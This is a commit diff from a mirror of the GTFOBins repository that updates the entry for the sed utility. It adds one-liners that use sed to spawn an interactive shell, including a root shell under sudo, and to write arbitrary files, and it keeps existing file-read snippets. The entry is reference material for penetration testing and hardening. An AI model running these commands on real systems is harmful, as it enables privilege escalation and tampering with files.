mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Add execute-interactive & file-write to sed
This commit is contained in:
parent
0d786940c4
commit
3c0e0bf1e3
@ -1,9 +1,9 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
|
execute-interactive:
|
||||||
|
- code: sed "e /bin/sh -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'"
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: |
|
- code: sudo sed "e /bin/sh -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'"
|
||||||
LFILE=file_to_read
|
|
||||||
sudo sed -e '' "$LFILE"
|
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
@ -12,4 +12,8 @@ functions:
|
|||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
sed -e '' "$LFILE"
|
sed -e '' "$LFILE"
|
||||||
|
file-write:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_write
|
||||||
|
echo x | sed "s/x/data/;w $LFILE"
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user